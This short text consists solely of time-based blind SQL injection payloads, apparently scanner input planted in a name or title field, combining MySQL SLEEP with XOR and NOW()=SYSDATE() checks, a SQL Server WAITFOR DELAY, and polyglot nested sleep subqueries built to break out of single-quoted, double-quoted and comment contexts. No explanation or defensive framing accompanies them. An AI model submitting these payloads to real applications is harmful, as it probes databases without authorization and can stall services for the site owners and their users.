MR.0'XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR'Z  


  Mr.-1 waitfor delay '0:0:15' -- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z